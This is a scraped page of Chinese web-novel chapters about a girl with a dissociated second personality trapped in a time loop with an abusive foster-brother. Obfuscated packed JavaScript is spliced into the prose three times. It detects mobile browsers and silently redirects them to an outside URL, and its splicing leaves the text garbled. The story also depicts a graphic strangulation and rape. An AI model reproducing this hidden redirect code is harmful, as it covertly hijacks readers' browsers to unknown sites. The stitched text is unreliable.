;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799610|156798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暗中,隐约辨认出,是口口口将他的外套撑在我头顶。 见我看他,他将外套披在我头上,在我身侧半跪下来,给了我一个小心翼翼的拥抱。 许久,才哑声道: “对不起。我来晚了。 “你走之后几分钟,我马上就跟过去了,可是没有找到你人。 “他们……有人给我指了错误的方向,把我关在了空教室里。” 说这话的时候,我感到后背一阵濡湿。 不是雨水,雨水没有这么粘稠。 我没有回答,身子抖得厉害。 他抱着我,力道轻得像抱着一片随时会散的云: “我带你回家,好不好?” 我向他求救过。 可他还是晚了一步。 再也不要相信他了。 …… 口口口隔绝了一切周驰接触我的途经,现在即使是我去上厕所,他也会陪同。 看在不知情的人眼里,他的控制欲难免有些过于恐怖了。 沈晓丽悄悄跟我咬耳朵: “你哥是不是太操心你了?” 我垂着眼,沉默片刻,忽然忍不住问她: “听说你要跟周驰联姻?” 她立刻露出一言难尽的表情来: “我爸爸想借这桩婚事进军房地产行业,他爸就是做房地产的。” “能不能不要嫁给他?”尽管知道这件事不是我能置喙,但我还是不忍心看她跳入火坑,“他……” “我知道。婚后各玩各的,不得病就行。我爸妈也是这样。” 她平静地说着,当真是把自己的婚姻当成了一桩生意。 看上去她并不需要我的警示和安慰。 我闭上嘴,没再劝。 “沈晓丽!” 教室外面忽然传来一道熟悉的声音,我背脊一僵,连忙把头转过去,不去看外面。 谁知周驰在叫过沈晓丽的名字之后,又大声叫我的名字: “胡灵灵!” 在他叫出我名字的瞬间,沈晓丽拧眉,露出明显的厌恶神色,拍了拍我的手背: “别理他。” “胡灵灵——!胡灵灵胡灵灵胡灵灵!” 我不理他,他就叫魂一样趴在教室外面,这下所有人的目光都集中到我身上了。 口口口早在他叫第一声的时候就站了起来,往外走去,我扭头看向他的瞬间,目睹了叫声戛然而止,他被口口口一拳抡倒在地。 周驰被打了也不恼,反而笑嘻嘻地擦了擦嘴角: “叫灵灵出来,我就不介意你这一拳。” 口口口没说话,弯下腰,揪住他的衣领,又是一拳。 场面混乱起来,班上几个人高马大的男生立马上去拉架,我浑身发冷,在一片混乱中,偶然与周驰对上视线。 就像被叼住了咽喉。 “灵灵!?胡灵灵!?” 有人在叫我的名字,我很努力地回神,才分辨出,那是曹平祥的声音。 我茫然地看向他,耳畔听到周驰的叫嚷: “你他妈的敬酒不吃吃罚酒! “口口口你喜欢她又怎么样!?我这就让你看看她是个什么货色!” 有什么东西被他泄愤般纷纷扬扬地撒到空中,其中一张轻飘飘落在我桌上,与我指尖轻轻相触。 视线垂落,血液逆流,我死死盯着那张照片,失去了思考和呼吸的能力。 所有人的脸都是模糊的,隐在暗处。 只有我的脸,清晰可见。 那是怎样的羞辱,又是怎样的深渊。 绝望如附骨之疽,肆无忌惮地将我蚕食。 我感到了冷。 自和照片相触的指尖开始,蔓延至全身的,锋锐的冷。 我听到口口口的怒吼: “都不许捡!” 我看到曹平祥和沈晓丽在赶人离开,收拾残局。 我看到口口口跑过来紧紧抱住我,面色焦急地对我说着什么。 神经撕裂,耳畔嗡鸣。 就好像一直蒙着眼睛往前走,如今那层蒙眼布被扯下,我低头才看见,原来我的脚底从来不是平地,而是架在万丈深渊之上的钢丝。 我掉下去了。 不,不是啊。 我早就在深渊的底部了。 没有人会来救我,一如既往。 脑海里响起一个声音。 “很痛苦吗?” 好痛苦啊。 “要跟我换吗?” 什么? “睡吧。” ——《无名日记》】 24.被爱 高考前一天,平常严肃的各科老师却显得异常和蔼,对我们说得最多的话就是不要紧张,正常发挥。 这一天提前放学,也没了晚自习,于是下午三点多,高达六层的“口”字型教学楼的走廊上,挤满了脱缰野马一样的同学。 他们忙着把课本撕碎扬到空中,尖啸欢呼,纷纷扬扬的碎纸片像成千上万只白蝴蝶,自高处飘摇而下,遮天蔽日。 我和口口口早早收拾好书包回家,没有参与这场报复性的狂欢。 走到一楼时,我忍不住回首,看向教学楼围出的那一角四四方方的天空,还有空中不停落下的蝴蝶。 ——还会痛吗? ——会。 ——以后都不打算出来了吗? ——嗯。 心里有个声音和我对话。 我于是告诉她—— 没有关系的。 因为,我就是为了替你痛,才诞生于世的。 我会替你消化那些难堪的、悲伤的情绪,无论需要多久。 …… 第二天高考,同桌和我在同一个考点,但考场在不同的两栋楼。 我生理期还是会有些痛经,下腹坠疼,尽管外面温度已经接近39°,考场里还是只有电风扇,甚至为了不影响考试,在考听力的时候,连电风扇也关了。 整场考试我都在出汗,是热的,也是疼的,还要防着汗水滴在答题卡上,考得异常辛苦。 同桌在两场考试间隙,跑过来替我倒热水。 我需要的其实不是热水,我需要的是休息。 可惜在大多数大人眼中,这场考试至关重要,至少比我的疼痛重要。 我望着他渗出汗水的鼻尖,又看了看毒辣的日头: “你可以不用来的。” “答应了照顾你的,我会做到。”他把保温杯塞进我手里,用袖子擦了擦我脸上的汗,“还有最后一场,考完睡一觉,带你去旅游。” 我愣了一下,才意识到他是在说那个生日愿望。 “好呀。” 我弯起眼,笑了。 …… 考完试,我回家先是昏天黑地睡了一天一夜,到第三天早上五点半,该死的生物钟让我睁了眼。 我看了眼电子钟的日历,有些懵。 我怎么就少活了一天。 房间里静悄悄的,透过窗帘缝隙,可以看到外面依稀的晨光。 我慢吞吞地拖着锈掉的身体,去浴室洗了个澡,洗完出来看到同桌坐在沙发上,与我四目相对。 他的面前放着两张火车票,身边还摆着两个箱子,一个是我的□□熊行李箱,一个是他的灰蓝色格纹行李箱。 看到我出来,他露出温和柔软的笑容: “票买好了,行李也收拾好了。灵灵,走吗?” 我哇了一声,想扑过去看车票,却被他一把收走,顺势把我捞在怀里: “目的地保密。” 我翻了个白眼: “神神秘秘的,到时候上车不还是会报站。” “那就让我多保密一会儿吧。”他抬头亲了一下我脸颊,松开我,“还有两个小时发车,去换个衣服,马上就出发。” “你时间卡得这么准的?” “本来想着再过半个小时,你还不醒,就去叫你的,我还准备了红烧肉和米饭,你快两天没吃饭了吧。” 我这才想起自己“穿越”了整整一天的事情,连忙蹦起来进屋换衣服。 过了一会儿,探头出来问: “这次会出去玩多久啊?” “没有买回来的车票,你想玩多久玩多久。拿录取通知书之前回来就行。” “哇!胖虎你太棒了!” 我给他竖了个大拇指,又把脑袋缩了回去。 等我换完衣服坐在餐桌前,他把一大碗红烧肉往我面前推了推: “之后的路程比较遥远,可能会比较辛苦,你多吃一点管饱的,火车上的盒饭很难吃,我怕你吃不惯。” “你怎么知道?你还坐过火车呢?” “之前问过曹平祥一些注意事项。不说这个了,快吃吧,我记得你最喜欢吃红烧肉的。” 我垂下眼,夹了一块。 是用肥瘦相间的五花肉煮的,加了冰糖,用砂锅熬煮两个小时以上才会有这种色泽。 他至少三点就起来了。 可他至今都不知道,我爱吃的是油淋鸡。 红烧肉,是“她”爱吃的。 …… 临出发前,我站在自己的卧室里检查电源开关和其他零散的事项。 目光又落在床头柜上。 我慢慢走过去,打开柜门,与漂浮在福尔马林中的头颅对视。 我血缘上的父母,熟悉的陌生人。 可我关于他们,没有任何记忆。 记忆在“她”那里。 我该怎么办呢? “灵灵。” 同桌敲门进来,见到这一幕,脚步明显迟疑。 我没有回头,轻声道: “等我们回来,就把他们下葬吧。” “好。” 他立刻答道。 …… 直到上车后,听到报站,我才发现这趟列车通往锦城。 从这里到锦城,需要十几个小时,他买的是软卧。 我对接下来十几个小时的旅途感到发憷,他在把行李箱放到下铺下方的空间后,又从背包里掏出一本凑佳苗写的《告白》递给我: “打发时间用。” 我原本不打算看书,觉得火车上摇晃,伤眼睛,但架不住无聊,还是接了过来,看到名字后,偷偷掀起眼皮看了眼他,他似笑非笑看过来: “告白在日语里有‘自白、坦白’的意思,所以这本书的主题和你想的不一样。” “没事,你知道我书看得杂。” 我靠在下铺床上,他本来在我对面的下铺,却一定要脱了鞋挤到我床上来,要抱着我一起看。 “这本书你是不是看过?” 我一不留神,就被他提小猫一样捞进怀里,他充当了我的人肉靠垫。 车厢里冷气开得很足,他浑身上下暖暖的,除了肌肉有些硬之外,算是个合格的靠垫。 “是看过,但可以温故知新。放心,我不剧透。” “你敢剧透就完了!” 我龇牙。 他唇角噙着笑意,抓着我的手,引导我翻开第一页。 在火车哐当哐当的细微声响和摇晃中,我窝在他怀里看书。 本以为是轻松的校园青春恋爱小说,谁知看了个开头就隐隐发现事情不太对劲。 “这个名叫森口的老师,她的女儿被两名少年害死了,于是她策划了一场针对两名少年的复仇?” “嗯。” 同桌说话时气息喷在我脸侧,他也在和我同步阅读。 我觉得有些痒,挠了挠脸颊,默不作声地继续看。 我们的阅读速度几乎差不多,总能在同时翻页,但看到后来,我的速度越来越慢,心情渐渐沉重起来。 等全部看完,外面已经接近黄昏,光线有些模糊不清。 我揉了揉眼睛,伸了个大大的懒腰,觉得整个人都坐得肌肉酸痛,不过这种酸痛我很熟悉,从前,我也常常捧着一本书,一读就是一天。 他熟练地捏着我肩膀,力度适中,我眯着眼问他: “你觉得这本书要探讨的主题是什么?” 他沉思片刻: “少年法对少年犯的过度保护,以及原生家庭对人造成的影响。” “如果你是森口老师,女儿被杀,会选择动用‘私刑’去报复身为少年犯的凶手吗?” 这只是随口一提的讨论,他却沉默了许久,双手捏完我肩膀,又去揉捏脊椎和腰部,手法熟练,按揉穴位的力道恰到好处,简直媲美盲人按摩。 “胖虎?” “嗯,我在思考。”他顿了顿,才说,“我会比她做得高明。” “哇,我觉得她做得已经很高明了,两个少年的复仇,她都没有直接出手,但是杀人诛心,让他们两个都成了弑母的凶手。” “第一个少年直树被她借刀杀人,利用新老师的‘热血’和同学的霸凌,逼到弑母,还算及格。”他用挑剔的口吻道,“但是第二个少年修哉,炸弹是她亲手带给他母亲的,即使按钮是修哉按下的,但事后警方调查,她脱不了责任,完全可以构成故意杀人。” 我不说话了。 情感上,我希望森口老师无罪,但理智却明白,她确实脱不了干系。 “给我看这么沉重的书,还是在这么欢快的旅途上。”我起身脱离他的怀抱,将书扔到他胸口,“你是何居心?” 他抬手按住书脊,抬眼望向我,眸光深沉似海: “这个故事告诉我们,不被爱的人会变成怪物。” 我盘腿坐在单人床上,不经意与他四目相对。 车厢里只有我们两个,就在此刻,感受到了一种灵魂震颤的精神链接。 有一种宿命般的东西在我们之间流动。 那是和肉/体的欢愉截然不同的,更深层次的震撼。 不知道他这句话是在形容谁,但我确确实实差点因为他的话而落泪。 不被爱的人会变成怪物。 所以“她”潜入深海。 所以有了我。 我是怪物,是神经病,是替她抵御一切风刀霜剑的铠甲。 她沉睡在我身体深处,不知归期。 我并非因爱和期待而诞生。 我是因恨和痛苦而诞生。 他凑过来吻了我。 我任由他把我按倒,细细地吻我,没有任何回应。 他低低地祈求: “灵灵,可以爱我吗? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804658|156798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“不要让我变成怪物,可以吗?” 可“爱”和“恨”都被“她”带走了。 我只是个没心没肺的怪物。 我睁着眼,用一种平静的语气问他: “我愿意陪你一起读书,一起逛街,愿意和你接吻,如果你真的想,我也会同意和你做。你怎么会觉得,我不爱你呢?” 他凝视着我,最终伸手遮住我的眼睛,声音轻若鸿羽: “不要用这种眼神看我。” 后来的旅途,没什么旅客上车,我们的包厢一直是空着的。 但我们很少交谈了。 空气近乎凝滞。 他回到了自己的床上,拿起了另一本书看。 是我还没来得及看的《局外人》。 他中途又去了趟洗手间,回来时前发有些湿。 我后来上厕所时,看到废纸篓里隐约露出一角沾血的纸巾。 入夜,我本以为自己睡了很久,应该不会再困了,但当车厢熄了灯,脑袋挨到枕头的那一刻,还是沉沉睡去。 车轮与铁轨相触的声音成了助眠背景音,火车此时正驶过旷野,天地间漆黑一片,像是鸿蒙未开时的混沌。 唇上隐约有温热触感。 指腹拂过眉眼,这个吻渐渐变得凶狠。 我困得睁不开眼,只能发出几声抗议的哼哼声,触摸我的动作果然停了。 但不过片刻后,变本加厉。 唇齿相触,力道充满侵略与占有欲,带着一股冷酷又绝望的浓烈情绪。 我迷迷糊糊地想,爱与不爱真的那么重要吗。 许多人即使不那么相爱,不也能在一起过一辈子吗。 更何况,我也不打算和他一起过一辈子。 人类总喜欢自寻烦恼。 想要的得不到,到手的不珍惜。 对方爱你时弃若敝履,不爱你时又追悔莫及。 …… 在锦城的旅行非常愉快。 第一次离开池镇,到了新地图,我恨不得一天跑八百个景点,把这辈子的卡都打了。 同桌在后面做任劳任怨的拎包侠。 我们来的时候完全没做攻略,不过说实话就算想做攻略,也没办法—— 他之前去网上搜了一下,贴吧里找不到什么有用的信息。 所以去哪儿只能靠旅游宣传册和问路的一张嘴了。 好在锦城的人民群众非常热心,好几个被问路的差点亲自送我们到景点去。 我们几天之内爬了青城山,看了大熊猫,去了都江堰,还把当地有名的小吃都吃了个遍,一天三顿之外还带下午茶和夜宵。 多亏没带秤来,否则我肯定会把它砸了。 青城山顶有座老君阁,我和同桌都不信这个,他是唯物主义战士,我信的则比较杂,怕自己进去了,太上老君能把我拎着后颈皮丢出来。 但来都来了。 我凑过去鬼鬼祟祟地往里探瞧,没见着道士,正打算拍个照就走,肩膀却突然被人轻碰了一下。 我一个激灵,猛然回首,看到个穿着休闲服的年轻人,他笑吟吟问我: “怎么不进去?” 我拍了拍小心脏: “不信教,也不知道怎么拜,怕闹笑话。” “无妨。”他一摆手,“道教有云,扶身正大,见吾不拜又何妨?” 我想了想是这个道理,瞻前顾后反而显得我很尴尬,于是哈哈一笑,便叫上在一边拍照的同桌,一起进去了。 那年轻人很是熟稔地上前上香,我好奇: “你是道士?” “不是,只是闲杂人等。”他轻笑,回身看我,“但我会算卦,一块钱可以给你们两个每人算一卦。” 我来了兴趣,一则他收费这么低,肯定是娱乐性质的,二则我是真的对这些神神叨叨的东西感兴趣,于是二话不说掏了钱,豪气地把两个钢镚拍在他掌心向上的手上: “那就算一卦!” 同桌拎着我的小书包站在一边,脸上没什么表情,有些疏离,好像并不想算,只在年轻人托住我手背看手相时掀了掀眼皮。 年轻人看完后,想给他算,被他冷淡拒绝了。 他对外人一直是这幅爱答不理的死样子,我都习惯了。 年轻人把剩下那枚钢镚还给我,悄悄凑到我耳边说了几句话。 同桌盯着我的表情,但我面上没露出什么异样神色,又跟年轻人道了句谢,便跳起来勾着同桌的肩膀说要去别的地方看看。 走出十几米,他终于还是忍不住问: “他跟你说了什么?” 我笑嘻嘻道: “他告诉我,半山腰有茶摊,有村民会挑水果和点心在那里买,适合歇脚呢!” 同桌目光怀疑,但我已经拉着他向前走去。 那个年轻人在我耳边说—— “已死之人,不可复生。” 25.循环 下山的时候,我整个人都不好了,看到有村民打扮的人抬着轿子把游客抬下山,觉得既丢人又羡慕。 同桌扶着我的腰,让我软泥一样瘫在他身上: “想坐轿子?” “不坐!”骨子里的骄傲让我不肯轻易放弃,“我开学就是大学生了,咱的体力不能丢大学生的脸!” 他顿了顿,问我: “你志愿打算填哪所大学?” 我低着头一步一步地挪下有我小腿高的台阶,嘟哝道: “要看我估分和其他学生的分数吧。再过大半个月才填志愿呢,不着急。” 高考是先填志愿再出成绩,至少目前还没有改革的迹象。 对于能考上什么样的大学,我着实是心里没数。 同桌搂着我的腰,扶着我一级一级下台阶,轻声细语道: “没事,到时候我给你估分,你想去哪里,我都可以给你建议。” “哇,胖虎你也太好了吧?” 他没说话,垂首专心看着台阶,像是怕我摔倒。 说实话我的腿已经软得像面条,脚底也跟针扎一样疼,不坐轿子是我最后的倔强。 终于到了半山腰的茶摊,我一屁股瘫坐下去,同桌则去隔壁点了茶水和点心。 山上的东西都是靠村民人力挑上来的,贵得离谱,赚的就是这份救急钱。 我有些心疼花费,同桌却让我不要担心。 茶摊的景色很好,游客来往如织,但大多都只是看了一眼茶摊就走了,不当这个冤大头。 冤大头同桌把茶水往我这里推了推: “不喜欢吗?” “喜欢。”我气若游丝,“就是差点死了。” 嘴巴被立刻捂住了,他眼底有着微不可察的慌乱: “别瞎说。” 我静静地看着他,看到他的神情越来越不安,便移开目光,不与他对视。 我看向云层,转移了话题: “这里风景很美。” “嗯。” 他简短而紧绷地回答我。 我将杯中茶饮尽,起身: “走吧。” …… 晚上,我们回到了民宿。 我在浴缸里泡了很久,躺在床上时,腿脚还是酸痛,他就爬过来给我按揉。 我絮絮叨叨地和他说着明天的计划,偶尔和他对视时,能看到他眼中深藏的欲望。 但他掩饰得很好,我就当做没有看见。 迷迷糊糊睡着时,他的按揉停下,去熄了灯,然后把我抱进怀里。 面对面的姿势过于亲密了,我下意识挣了一下,被抱得更紧。 就好像我是什么不抱紧了就会逃跑的动物一样。 意识朦胧间,我听到他没头没尾的低喃。 “不要让我再经历一次了。” …… 在外旅游其实也有很多不便的地方,不到半个月我就开始想家。 于是我们结束了旅程,买了返程的机票,赶在填报志愿前回到了池镇。 意外的是,我在家门口看到了一地烟蒂。 家里没有人抽烟,这一定是别人留下的,看样子倚着我家的门等了很久。 同桌看到后,脸色瞬间阴沉下来,不过他什么都没说,让我进屋把行李箱收拾好。 等我再出来时,那堆烟灰已经消失不见了。 到了晚间,我独自坐在书桌前估分,忽然有人拿石子敲我窗户。 我推开窗,看到楼下路灯光中站着个身影。 是周驰。 自从上次提亲乌龙之后,我就再也没见过他,不知道他怎么有事要找我。 他先是对我比了个噤声的手势,接着示意我下楼。 我才不听他的,正准备关窗,却见他扔了个东西进来。 他准头很足,我抬手就接到了,是个防油纸包,里面包着一只香喷喷的椒盐鸡腿。 他怎么知道我最喜欢吃鸡!? 我低头望去,他给我展示了他怀里的塑料袋。 我不争气地咽了咽口水。 好吧,也许他是真的有事要找我呢。 我推门打算去找他,隔壁房间,同桌正在和伯父伯母讲旅行路上的见闻,我就没有打扰他。 下了楼,周驰先是警惕地往我身后看了一眼,便来抓我手腕: “找个说话的地方。” 他身上缠绕着淡淡的烟草味,我甩开他的手: “这里不是说话的地方吗?你明说吧,找我有什么事?” 他语气急促: “和你的安全有关。灵灵,你去我家吧,填志愿的时候我借你电脑,在录取通知书寄过来之前,你都不要独自出门,好不好?” 他突然跑过来跟我说这些,我感到莫名其妙: “什么意思?你想让我干什么就把前因后果交代清楚,不然我不会理你的。” 他张了张口,欲言又止,紧紧抓住我的手腕,看上去真的很着急,最后下定决心般,猛然靠近,附耳低声道: “有人要杀你。你会死,会死很多很多次……灵灵你相信我,我是真的喜欢你,我也是真的想救你,我是绝对绝对不会害你的——” “灵灵。” 一道声音打断了他。 周驰吓了一跳,瞠目结舌地望向我身后。 我转过头,看到同桌下了楼,向这里走来,边走边平静地告诫我: “我跟你说过,不要跟他打交道。” 我闻言,立刻把周驰推开,跑回同桌身边,他牵住了我的手,看都没有看周驰一眼,直接把我往楼上领。 等进了我卧室,他把我推在门上,手指摩挲着我的耳朵和脸颊,声音不冷不热: “他碰你了吗?还是亲你了?” “没有,就是说了几句话。” 我老实回答。 “说了什么?” 我正要开口,心头忽然一悸,话到嘴边拐了弯: “他说他喜欢我。” “那你呢?你怎么想?” 他的指腹游移到了我的嘴唇。 我被他钳制,抵在门板上,有些不适地皱了皱眉: “没什么想法。我根本不想和他打交道。” “可你还是下楼去见了他,甚至没有告诉我。” 他的神态有些低落,眼睫半阖着看我。 “……” 我总不能说是被一只鸡腿骗下去的。 太丢人了。 只能缄默。 见我不说话,同桌骤然掐住我下巴,声音却依然轻柔: “你也喜欢他?” “不是!” 我立刻否认。 这误会可大发了。 “那你为什么要去见他?” 好的,话题又绕回来了。 我不说话了。 “这一次还是不行吗?”他呢喃,黑如浓墨的眼里浮现出深刻的伤感与不舍,一只手搭在我脖颈上,慢慢收紧,“你还是会和他扯上关系,还是不会爱上我。” 我感到窒息,挣扎起来: “胖虎,胖虎你——” 脸颊肯定涨红了,大脑缺氧,以至于我根本没意识到什么时候被掀起了裙摆。 我难以呼吸,但还是尽力安抚他: “不……不是……” 可我无法发声,他重重地、凶狠地吻上我,一只手扼着我的喉咙,恍若叹息地呢喃: “每一次,每一次都会往前回溯一点点。胡灵灵,我对你已经够好了,这一次,我在你四岁的时候就回来了,我没有欺负过你一天,可你为什么还是不肯爱我? “是你,是你把我变成怪物的。 “胡灵灵,告诉我,要怎样才肯爱我? “算了。这个轮回也不行了。 “至少最后,让我爱你,可以吗?” 他说着我听不懂的话,我茫然地睁大泪眼,喉间溢出闷哼。 我是为了保护胡灵灵而生的怪物,是她的铠甲,是她的守护神。 可我没有她的记忆。 我不清楚他说的轮回是什么,也不清楚为什么他会变成这样。 但我的身体还记得。 灵灵,灵灵,躲起来,闭上眼,捂住耳朵,不要看,不要听。 身体陷入床铺,灵魂深埋地下。 没有温柔的试探,他从第一击开始,就抱着同归于尽的决心。 蛮横,强势,不讲道理。 我和他都很不好受,但我也许更痛一些。 身心都是。 我想呼救,但是被他五指用力捂紧嘴巴,只留下急促呼吸的余裕。 脖颈上的手叫我一次次在窒息边缘徘徊。 意识渐渐漂浮云端,混沌无法思考。 有那么几秒,我仿佛魂魄离了体,误以为自己已经死掉。 假面撕裂,露出其下血淋淋的兽类皮肉。 假的,都是假的。 关怀和迁就是假的,忍让和宠溺是假的,回护和偏爱是假的。 只有疼痛是真的。 真相揭开这一刻,我仿佛是在温室里生活了十几年的花朵,被骤然连根拔起,丢入冰天雪地之中。 床单在手底扭曲变形,托举着纠缠挣扎的两个灵魂向下沉沦。 窒息愈发强烈,连带着被抛上云端时,毁天灭地的快感。 水声黏腻,连绵不绝。 我本以为他是不一样的。 可是,是一样的。 他和他们,都是一样的。 ……再也不要相信他了。 这句话,我好像已经说过,无数次。 照理说,没有爱就不会有恨,可我此刻却真的恨他入骨。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809621|156798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >恨他的欺骗,恨他的背叛,恨他的伪装与反咬。 可我自诞生起便不知何为爱。 直到此刻才恍惚悟出,是他一点一点教会了我。 又在今天将它当着我的面撕碎。 他在我耳边凶狠又脆弱地哀求: “叫我的名字。” 我在他松开些许的手掌中,满心恨意,咬着牙,颤抖道: “周……驰。” 他被激怒,连最后的一点温情都消失殆尽。 我渐渐涣散的瞳孔中,映出房内穿衣镜上,不知什么时候被画上的莫比乌斯环。 泪水坠落,融入鬓角。 这样的结局,仿佛已经上演过无数遍。 …… 猛然睁开眼,我才发现自己趴在桌上睡着了。 桌面上也没有摆着椒盐鸡腿。 是梦? 好真实的梦。 我捂住心脏,那里还在狂跳,梦中濒死的感触刻骨铭心,叫我一时间对自己还活着这件事感到无比庆幸。 感谢上苍,感谢诸天神佛,感谢所有我信的不信的神明和邪神。 松了口气后,又下意识看向床上。 被子叠得整整齐齐,床单平整,没有褶皱。 镜子上也没有莫比乌斯环。 可还是有些不对。 我顿了几秒才发现,是视角不对。 我变矮了? 站起身,我来到穿衣镜前,看到了自己四岁时的样子。 僵在那里,一时间不知该如何是好。 我着急地往门口跑去,踮起脚尖,拧开门把,客厅里空荡荡的,浴室里传来水声。 我跑过去,顾不得敲门,将浴室门一把推开—— 看到四岁的同桌,垫着小矮凳,站在洗手池前,正在咳血。 深色的血块从他肉乎乎的指缝间滑落,又被水流冲走。 我怔怔地看着他,他注意到了我,匆忙清理好血迹,露出个安抚的笑: “别怕,我没事。” 我慢慢后退,无措地把门关上了。 我说过,我信的东西很杂。 看的书和番剧也很杂。 我想,我大概搞明白发生了什么事了,但我需要一些佐证。 伯父伯母也许能给我一些帮助,我记得他们的研究就是和这个相关的,赶紧拔腿跑向他们的书房。 这里放着的都是些学术书籍,我也看不懂,因此平时很少来。 可就在今天,我突击空无一人的书房,却在桌面上找到了一叠厚厚的报告书。 我爬上椅子,蹲在上面,一目十行地翻看,上面赫然写着“祖母悖论与时间循环的纠缠状态相关性及由此延伸出的人工生成时间循环可行性报告”。 我很有经验地翻到最后,看到了整篇报告的总结。 第一,在时间循环中死去的人,会于循环再次开始时,以合理的方式,在相近的时间区间内死去,没有例外。(注:如客观条件不允许,会以上个循环中相同的死因突然死亡,此时不存在因果链条,例如不会出现凶器。推测此规则是为了维护四维空间稳定。另外,也存在在适当的时机,死者身边的人受到规则影响,成为凶手的现象。) 第二,时间循环目前没有破解方法。陷入时间循环的人不会有相关记忆,因此无法以正常手段证明时间循环真实存在。(另:发现时间循环存在的契机详情见报告第26页) 第三,本文反驳了陈启夫妇在SSCI发表的关于时间循环的观点,即时间循环可以被充分利用,为人类发展谋福祉。本文观点是,时间循环是一种极其可怕、不可控的高维现象,堪比黑洞,以人类目前的科技认知水平,完全无法掌控,不建议进行针对性研究。 下面有一行凌乱的备注。 【尽一切努力中止人工制造时间循环的进度】 看到这行字的同时,我在心中叹息。 我的亲生父母,终于还是成功开启了时间循环。 在他们死后。 …… 【“她”重新接管了身体。 主人格回归,我便可以陷入沉睡。 我在这里感到很安心,很舒服。 我不会再出现了。 特此记录。 我是替“她”承受口口口漫长折磨的守护神。 她一直以为她才是第二人格。 不过没关系,人总是在守护一样东西时才变得强大。 我希望她能永远强大下去。 在口口口开始缓和态度的这个轮回,我将身体还给了“她”。 我想,他会对她好的。 她不会再哭了吧。 灵灵,如果你看到这则留言,请不要试图寻找我。 我已融入你身。 今后的路,你可以自己走了。 ——《无名日记》】 26.锚点 池镇永远无法迎来2010年。 我也永远无法抵达19岁的生日。 “她”在陷入沉睡前,将所有记忆给了我。 她彻底沉睡,其含义就是与我融为一体,从此之后,不分你我。 所以她的记忆,也会由我消化。 那千百次轮回中,黑暗的、刺痛的。揪心的记忆。 我睁开眼,长大,然后每一次都会在同一年死去。 有时候是因为一些意外,有时候是他杀。 凶手从入室盗窃的小偷,到他。 不是他也会有别人,这是“四维空间”的铁则。 一开始还会有恨和痛,可到后来只有“又来了”的麻木。 每次我死后,都会开启新的轮回,回到四岁这一年。 每个轮回,胡昭辛面对相同的事件做出的选择,都会有一些不同,最终结局却是殊途同归。 日常就好像一辆颤巍巍的独轮车,在既定的圆形轨道上周而复始。 可我敏锐察觉,它即将失衡,摇摇欲坠。 证据就是这一次轮回里,胡昭辛咳血的次数越来越多。 我追问他怎么了,他却只安抚我说没事。 随着我一天天长大,伯父伯母关于时间循环的笔记研究越来越丰富具体。 终于有一天,我偷偷看到那篇报告出现了第四条。 【破解时间循环的方法是找到造成循环的“锚点”,并加以摧毁。此锚点一般是某种庞大的能量源。在不被蓄意摧毁的情况下,会持续运转支撑时间循环很久(以百年为单位),直到能量耗尽。 (注:于12月23日,最新仪器探测到疑似能量源存在,出差一周)】 根据报告内容,短时间内摧毁“锚点”的方法有两种: 第一,致使“锚点”发生重大偏移。 第二,帮助“锚点”达成目标。 他们的理论认为,“锚点”一般会是某个人,时间循环往往会以那个人为中心发散。 当那个人的行为发生重大偏移,或是那个人的心愿达成时,能量消散,时间循环会不攻自破。 我不知道谁是锚点,笔记里没有写辨认锚点的方法。 我开始了大海捞针式的排查,像个被困在开放世界的游戏玩家一样,以池镇为活动范围,探索其边界,去做从前不会做的事,认识从前不认识的人。 胡昭辛察觉到了我的异常,但他什么也没有问—— 在他不经意触碰到我,却发现我生理性发抖时,就收敛起了所有试探的触角,和我保持着足够亲密,却又不至于令人窒息的距离。 他也许比我想象的还要怕我想起点什么。 在这个轮回里,我和他的关系远远没有上一个那么亲密无间,我也明白,再也无法和他毫无芥蒂地交心。 我不再叫他胖虎,不再跟他谈论我天马行空的幻想,不再向他科普古神和旧日支配者的关系。 有一次,他试探性提及莎布·尼古拉丝和奈亚拉托提普,我认真地告诉他—— “胡昭辛,这个世界上是没有鬼神的。” 他那时怅然彷徨的表情,就好像整个人都被一瞬间掏空了。 只剩下空荡荡的躯壳,内里灵魂四处透着风。 背叛像一道难以修补的裂痕,不管造成这个裂痕的原因是我是他还是法则,裂痕就是裂痕。 只是裂痕。 他识趣地不再和我形影不离,但在我单独上下学,或是和其他同学一起玩的时候,总能感觉到一道幽暗视线黏在我身上,回过头时,却又一无所获。 还有一件事,和上个轮回不同了。 在我升上高三这年,周驰出现在了我的世界。 在与他四目相对的瞬间,我就明白了——周驰也进入了循环,而且,回到了今天。 …… 放学后,在走出校门前,我刚走过一个拐角,就被双手拽了过去,下意识想叫出声,却被捂住嘴巴。 我瞪大眼睛,看着近在咫尺的周驰,他压低声音: “灵灵,你还记得我吗?” 